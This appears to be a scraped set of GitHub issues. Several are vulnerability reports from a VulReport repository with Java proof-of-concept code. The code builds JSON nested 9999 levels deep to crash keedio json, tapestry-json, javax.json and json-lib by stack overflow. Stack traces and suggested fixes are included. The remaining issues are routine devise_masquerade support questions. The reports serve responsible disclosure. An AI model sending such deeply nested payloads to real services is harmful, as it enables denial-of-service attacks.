org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) at org.openx.data.jsonserde.json.JSONObject.<init>(JSONObject.java:218) at org.openx.data.jsonserde.json.JSONTokener.nextValue(JSONTokener.java:374) ``` ## PoC ```xml <dependency> <groupId>org.keedio.openx.data</groupId> <artifactId>json</artifactId> <version>1.3.7.3</version> </dependency> ``` ```java import org.openx.data.jsonserde.json.JSONArray; import org.openx.data.jsonserde.json.JSONException; import org.openx.data.jsonserde.json.JSONObject; /** * PoC * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1"); public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}"; public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { try { JSONObject jsonObject = new JSONObject(TOO_DEEP_Object); JSONArray jsonArray = new JSONArray(TOO_DEEP_Array); } catch (JSONException e) { throw new RuntimeException(e); } } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by keedio parsing of untrusted JSON String
https://api.github.com/repos/PoppingSnack/VulReport/issues/6/comments
0
2023-06-25T07:34:38Z
2023-06-25T07:34:38Z
https://github.com/PoppingSnack/VulReport/issues/6
1,773,118,032
6
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by tapestry-json parsing of untrusted JSON String ## Description Using **tapestry-json** to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.String.substring(String.java:1874) at org.apache.tapestry5.json.JSONTokener.nextString(JSONTokener.java:238) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:133) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:411) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) at org.apache.tapestry5.json.JSONTokener.nextValue(JSONTokener.java:126) at org.apache.tapestry5.json.JSONTokener.readObject(JSONTokener.java:441) ``` ## PoC ```xml <dependency> <groupId>org.apache.tapestry</groupId> <artifactId>tapestry-json</artifactId> <version>5.8.2</version> </dependency> ``` ```java import org.apache.tapestry5.json.JSONObject; /** * PoC * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1"); public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}"; public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { // JSONArray jsonArray = new JSONArray(TOO_DEEP_Array); JSONObject jsonObject = new JSONObject(TOO_DEEP_Object); } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by tapestry-json parsing of untrusted JSON String
https://api.github.com/repos/PoppingSnack/VulReport/issues/5/comments
0
2023-06-25T07:33:06Z
2023-06-25T07:33:06Z
https://github.com/PoppingSnack/VulReport/issues/5
1,773,117,604
5
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by javax.json parsing of untrusted JSON String ## Description Using **javax.json** to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at org.glassfish.json.JsonTokenizer.nextToken(JsonTokenizer.java:357) at org.glassfish.json.JsonParserImpl$ObjectContext.getNextEvent(JsonParserImpl.java:466) at org.glassfish.json.JsonParserImpl.next(JsonParserImpl.java:376) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:335) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) at org.glassfish.json.JsonParserImpl.getObject(JsonParserImpl.java:341) at org.glassfish.json.JsonParserImpl.getValue(JsonParserImpl.java:182) ``` ## PoC ```xml <dependency> <groupId>org.glassfish</groupId> <artifactId>javax.json</artifactId> <version>1.1.4</version> </dependency> ``` ```java import org.glassfish.json.JsonUtil; /** * PoC * * @since 1.0.0 */ public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1"); public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}"; public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { JsonUtil.toJson(TOO_DEEP_Object); } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by javax.json parsing of untrusted JSON String
https://api.github.com/repos/PoppingSnack/VulReport/issues/4/comments
0
2023-06-25T07:31:22Z
2023-06-25T07:31:22Z
https://github.com/PoppingSnack/VulReport/issues/4
1,773,116,974
4
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by json-lib parsing of untrusted JSON String ## Description Using json-lib to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.Exception.<init>(Exception.java:54) at java.base/java.lang.RuntimeException.<init>(RuntimeException.java:51) at java.base/java.lang.IllegalArgumentException.<init>(IllegalArgumentException.java:42) at java.base/java.util.regex.PatternSyntaxException.<init>(PatternSyntaxException.java:59) at java.base/java.util.regex.Pattern.error(Pattern.java:2027) at java.base/java.util.regex.Pattern.<init>(Pattern.java:1430) at java.base/java.util.regex.Pattern.compile(Pattern.java:1068) at net.sf.json.regexp.JdkRegexpMatcher.<init>(JdkRegexpMatcher.java:31) at net.sf.json.regexp.RegexpUtils.getMatcher(RegexpUtils.java:39) at net.sf.json.util.JSONTokener.matches(JSONTokener.java:118) at net.sf.json.JSONObject._fromJSONTokener(JSONObject.java:833) at net.sf.json.JSONObject.fromObject(JSONObject.java:170) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:355) at net.sf.json.JSONObject._fromJSONTokener(JSONObject.java:871) at net.sf.json.JSONObject.fromObject(JSONObject.java:170) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:355) at net.sf.json.JSONObject._fromJSONTokener(JSONObject.java:871) at net.sf.json.JSONObject.fromObject(JSONObject.java:170) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:355) at net.sf.json.JSONObject._fromJSONTokener(JSONObject.java:871) at net.sf.json.JSONObject.fromObject(JSONObject.java:170) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:355) at net.sf.json.JSONObject._fromJSONTokener(JSONObject.java:871) at net.sf.json.JSONObject.fromObject(JSONObject.java:170) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:355) ``` ## PoC ```xml <dependency> <groupId>org.kohsuke.stapler</groupId> <artifactId>json-lib</artifactId> <version>2.1-rev6</version> </dependency> ``` ```java import net.sf.json.JSONSerializer; public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_DOC = "{" + _nestedDoc(TOO_DEEP_NESTING, "a : { ", "} ", "") + "}"; public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { String jsonString = TOO_DEEP_DOC; JSONSerializer.toJSON(jsonString); } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by json-lib parsing of untrusted JSON String (2)
https://api.github.com/repos/PoppingSnack/VulReport/issues/3/comments
0
2023-05-29T03:19:21Z
2023-05-29T03:19:21Z
https://github.com/PoppingSnack/VulReport/issues/3
1,729,941,740
3
[ "PoppingSnack", "VulReport" ]
# Stack overflow error caused by json-lib parsing of untrusted JSON String ## Description Using json-lib to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. ## Error Log ``` Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.String.charAt(String.java:693) at net.sf.json.util.JSONTokener.next(JSONTokener.java:139) at net.sf.json.util.JSONTokener.nextClean(JSONTokener.java:189) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:346) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:917) at net.sf.json.JSONArray.fromObject(JSONArray.java:139) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:358) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:917) at net.sf.json.JSONArray.fromObject(JSONArray.java:139) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:358) at net.sf.json.JSONArray._fromJSONTokener(JSONArray.java:917) at net.sf.json.JSONArray.fromObject(JSONArray.java:139) at net.sf.json.util.JSONTokener.nextValue(JSONTokener.java:358) ``` ## PoC ```xml <dependency> <groupId>org.kohsuke.stapler</groupId> <artifactId>json-lib</artifactId> <version>2.1-rev6</version> </dependency> ``` ```java import net.sf.json.JSONSerializer; public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0"); public static String _nestedDoc(int nesting, String open, String close, String content) { StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length())); for (int i = 0; i < nesting; ++i) { sb.append(open); if ((i & 31) == 0) { sb.append("\n"); } } sb.append("\n").append(content).append("\n"); for (int i = 0; i < nesting; ++i) { sb.append(close); if ((i & 31) == 0) { sb.append("\n"); } } return sb.toString(); } public static void main(String[] args) { String jsonString = TOO_DEEP_DOC; JSONSerializer.toJSON(jsonString); } } ``` ## Rectification Solution 1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b) 2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
Stack overflow error caused by json-lib parsing of untrusted JSON String
https://api.github.com/repos/PoppingSnack/VulReport/issues/2/comments
0
2023-05-25T06:48:28Z
2023-05-25T06:48:28Z
https://github.com/PoppingSnack/VulReport/issues/2
1,725,194,775
2
[ "PoppingSnack", "VulReport" ]
I have a question for you: How do I configure a custom hook using cifuzz? I noticed that cifuzz can pass parameters to jazzer, so I tried the following: ``` import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical; import com.code_intelligence.jazzer.api.HookType; import com.code_intelligence.jazzer.api.Jazzer; import com.code_intelligence.jazzer.api.MethodHook; import java.lang.invoke.MethodHandle; /** * SqlHooks * * @since 1.0.0 */ public class SqlHooks { @MethodHook( type = HookType.BEFORE, targetClassName = "com.example.GreeterApplication", targetMethod = "extracted" // additionalClassesToHook = {"java.lang.ProcessBuilder"} ) public static void sqlStartHook( MethodHandle method, Object thisObject, Object[] arguments, int hookId) { if (arguments.length > 0) { String name = (String) arguments[0]; if (name.startsWith("execute:")) { Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("execute script ! ! ! !")); } } } @MethodHook( type = HookType.BEFORE, targetClassName = "com.example.GreeterApplication", targetMethod = "extracted1" ) public static void sqlHook( MethodHandle method, Object thisObject, Object[] arguments, int hookId) { if (arguments.length > 0) { String name = (String) arguments[0]; if (name.startsWith("Hacker:")) { Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("execute sql script ! ! ! !")); } } } } ``` ```xml cifuzz.yaml ## Command-line arguments to pass to libFuzzer. ## See https://llvm.org/docs/LibFuzzer.html#options engine-args: # - -rss_limit_mb=4096 - -Djazzer.custom_hooks=com.example.hooks.SqlHooks - -Djazzer.instrumentation_includes=com.** # - -Djazzer.cp=D:\project\vul\CIFuzz_Spring\target\junit-spring-web-0.0.1-SNAPSHOT.jar # - -Djazzer.target_class=com.example.hooks.SqlHooks com.example.GreeterApplicationTests # - -Djazzer.disabled_hooks="com.code_intelligence.jazzer.sanitizers.ReflectiveCall" ``` But I failed, jazzer didn't receive the custom hook. Can you give me a guide by e-mail? Thank you very much.
Question
https://api.github.com/repos/PoppingSnack/VulReport/issues/1/comments
0
2023-05-16T11:03:57Z
2023-05-16T11:03:57Z
https://github.com/PoppingSnack/VulReport/issues/1
1,711,786,595
1
[ "oivoodoo", "devise_masquerade" ]
Firefox fetches link_to URLs when hovering over them. This doesn't seem like a good idea for masquerade_path URLs, since the user will be masqueraded unintentionally just by hovering over the link. Essentially, GET methods are supposed to be safe and idempotent - https://stackoverflow.com/a/45019073/48659 Is there a way to use button_to? I tried this but the query params are stripped. Is there a way to construct a path and separate params for a button_to link? I guess I could manually extract the query params and pass them to button_to? Just wondering if there's something already to do this simply? Thanks
Firefox fetches link_to URLs on hover - not good for masquerade_path
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/153/comments
2
2025-04-01T21:18:22Z
2025-04-02T06:51:04Z
https://github.com/oivoodoo/devise_masquerade/issues/153
2,964,595,672
153
[ "oivoodoo", "devise_masquerade" ]
I click the masquerade button on the `admin_user_path(:id)` (e.g. https://example.com/admin/users/10122496). When I stop masquerading, I'd like to return to that same page. - I thought `Devise.masquerade_routes_back = true` would do it but that seems to try to take you to that page when you start masquerading, not when stopping - I tried overriding `after_back_masquerade_path_for(resource)` (code below) but it seems to be too late to grab the masqueraded user. Both `resource` and `current_user` refer to (what was) the `masquerading_current_user` - I hoped maybe I could use `*opts` with `back_masquerade_path(current_user)` but I'm not sure where to start ``` class Admin::MasqueradesController < Devise::MasqueradesController protected def after_back_masquerade_path_for(user) # `user` and `current_user` are both the masquerading user, not the masqueraded user admin_user_path(user.id) end end ``` Am I missing something obvious?
After masquerading, return to page I started masquerading from
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/148/comments
2
2025-01-10T03:05:23Z
2025-05-29T12:04:39Z
https://github.com/oivoodoo/devise_masquerade/issues/148
2,779,172,036
148
[ "oivoodoo", "devise_masquerade" ]
Hi everyone, I’m encountering an issue with ActiveAdmin in my project. When an admin logs in through http://xyz.localhost:3000/admin/login and then uses the "Login As" feature to switch to a user account on http://test.localhost:3000, it seems to cause unauthorized request errors. Has anyone experienced a similar problem or have suggestions on how to resolve this? Any insights would be greatly appreciated! **What I have tried** When configuring the session store in a Rails application with the following settings: Rails.application.config.session_store :cookie_store, key: "my_app_session_key", domain: :all, tld_length: 1,same_site: :lax,expire_after: 1.hour after this configuration an issue where admin users are not being logged in/logged out correctly. The session persists despite attempting to log out, and the user remains authenticated. This problem may be related to the configuration of session cookies or their management across subdomains. Thanks in advance!
Unauthorized Requests When Using "Login As" Feature with different subdomain
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/144/comments
1
2024-08-26T13:08:15Z
2024-08-27T13:00:21Z
https://github.com/oivoodoo/devise_masquerade/issues/144
2,486,831,788
144
[ "oivoodoo", "devise_masquerade" ]
Hello, in a project we were using devise_masquerade 0.6 and now we upgrade to the latest 2.1.2. The context is this - As an admin, I masquerade a Employee and it is open in a new window. - Without clicking in masquerade back button, as an Admin, I masquerade a Boss - But in the new window this time, I see the first Employee dashboard In 0.6, Admin is masqueraded always as the last user it tried to masquerade. - Is there a way to configure that? - If not, any recommendation to do it manually? I've tried but without success yet.
Masquerading two users behavior
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/143/comments
1
2024-08-09T18:41:31Z
2024-09-24T17:30:41Z
https://github.com/oivoodoo/devise_masquerade/issues/143
2,458,478,416
143
[ "oivoodoo", "devise_masquerade" ]
Hi guys, thanks for mantaining this gem! I'm getting this error: ``` NoMethodError: undefined method `id' for nil:NilClass "devise_masquerade_#{masqueraded_resource_name}_#{masqueradable_resource.id}_#{guid}".to_sym ``` sometimes when trying to log in. I'm using the `masquerade_path` method. It happens sometimes, and I couldn't find a 'pattern' so to speak. Most of the times works, but with some users this error comes up. Any ideas? Thanks a lot!
NoMethodError: undefined method `id' for nil:NilClass "devise_masquerade_#{masqueraded_resource_name}_#{masqueradable_resource.id}_#{guid}".to_sym
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/140/comments
13
2024-02-19T14:44:47Z
2024-10-15T13:15:43Z
https://github.com/oivoodoo/devise_masquerade/issues/140
2,142,533,944
140
[ "oivoodoo", "devise_masquerade" ]
What would be the best way to bypass Rails 7 warnings with `after_back_masquerade_path_for`? The error I get when I try to end the masquerade session, redirecting cross-domain: `ActionController::Redirecting::UnsafeRedirectError: Unsafe redirect to "https://admin.example.com", pass allow_other_host: true to redirect anyway.`
Rails 7 Unsafe redirects
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/137/comments
0
2023-12-22T05:09:51Z
2023-12-22T05:09:51Z
https://github.com/oivoodoo/devise_masquerade/issues/137
2,053,391,674
137
[ "oivoodoo", "devise_masquerade" ]
We ran into an interesting issue where our application would error out after 12 or so masquerade attempts. Looking at the session, it seems each masquerade would add a key value pair like the following... `devise_masquerade_user_dcf2648d-188a-4e96-9822-47c2c6d4ab28_b438499f-05d4-42a8-bc40-e0e55cffbb48"=>"e923134a-263f-4f9f-9a22-a191b5e6d0e8` ...but then these don't get removed as you'd expect after heading back to the admin user. This would lead to our session becoming full quickly (especially since we're using UUIDs), and then throwing an error. In the `cleanup_masquerade_owner_session` method here (https://github.com/oivoodoo/devise_masquerade/blob/ec616953226cbd426b7e0d9083ab36dcf89e363e/app/controllers/devise/masquerades_controller.rb#L169) we remove stuff from the session, but only remove the `skey` if we're using the cache as our storage method. We overrode the `cleanup_masquerade_owner_session` method in our app and added a `session.delete(skey)` which solves the issue of these keys building up in the session when masquerading lots of users in a row, but wondered if this should not be the default in the gem? Let me know your thoughts!
Masquerade not cleaning up session data
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/135/comments
3
2023-10-24T15:43:41Z
2023-11-02T13:40:26Z
https://github.com/oivoodoo/devise_masquerade/issues/135
1,959,556,907
135
[ "oivoodoo", "devise_masquerade" ]
## Describe the Bug According to the [customize page view guide](https://administrate-demo.herokuapp.com/customizing_page_views), if we want to customize the template used for a page, we can provide our own as `/app/views/administrate/....html.erb`, and it will replace Administrate's own. I'd like to override `/app/views/administrate/application/show.html.erb`, so I used the generator command `rails generate administrate:views:show`, and it produced a file at the path `app/views/admin/application/show.html.erb` instead. ## Steps to Reproduce * Run `rails generate administrate:views:show`. * Notice that the file generated is in `/app/views/admin` instead of `/app/views/administrate`. ## Expected Behavior Running the generators should result in files generated in the `/app/views/administrate` directory. ## Actual Behavior Running the generators results in files generated in the `/app/views/admin` directory.
View generators generates files with incorrect path
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/134/comments
2
2023-08-23T14:06:41Z
2023-08-23T14:07:27Z
https://github.com/oivoodoo/devise_masquerade/issues/134
1,863,413,435
134
[ "oivoodoo", "devise_masquerade" ]
I want to allow admins to masquerade other users, because of this, I override the `masquerade_authorized?` method with something like: ```rb def masquerade_authorized? admin? end ``` The "back_masquerade_path" also uses `masquerade_authorized?`; since I'm masquerading as a non-admin user, I cannot return to my previous user. I'm doing something wrong?
Why `back` method needs authorization?
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/133/comments
1
2023-07-10T02:28:35Z
2023-08-27T19:57:08Z
https://github.com/oivoodoo/devise_masquerade/issues/133
1,795,796,105
133
[ "oivoodoo", "devise_masquerade" ]
- I am masquerading the User model with an Admin model - I skip_before_action the authenticate_admin! method for the user app side - I am using different layouts for admin side and user app side - My buttons with the masquerade_path are located on the admin side - It seems that having different layouts have the effect to trigger twice the masquerades#show, juste after button click and after rendering the user layout (turbolinks?) - The first time everything works fine but the second time "authenticate_scope!" raises an error because the admin cannot be found anymore - My current solution: I added "return if user_masquerade?" in the authenticate_scope! method - Am I doing something wrong? Should "return if user_masquerade?" be added to your default "authenticate_scope!" method?
Different Layouts
https://api.github.com/repos/oivoodoo/devise_masquerade/issues/132/comments
1
2023-05-29T10:23:10Z
2023-05-29T10:26:18Z
https://github.com/oivoodoo/devise_masquerade/issues/132
1,730,501,218
132
[ "oivoodoo", "devise_masquerade" ]
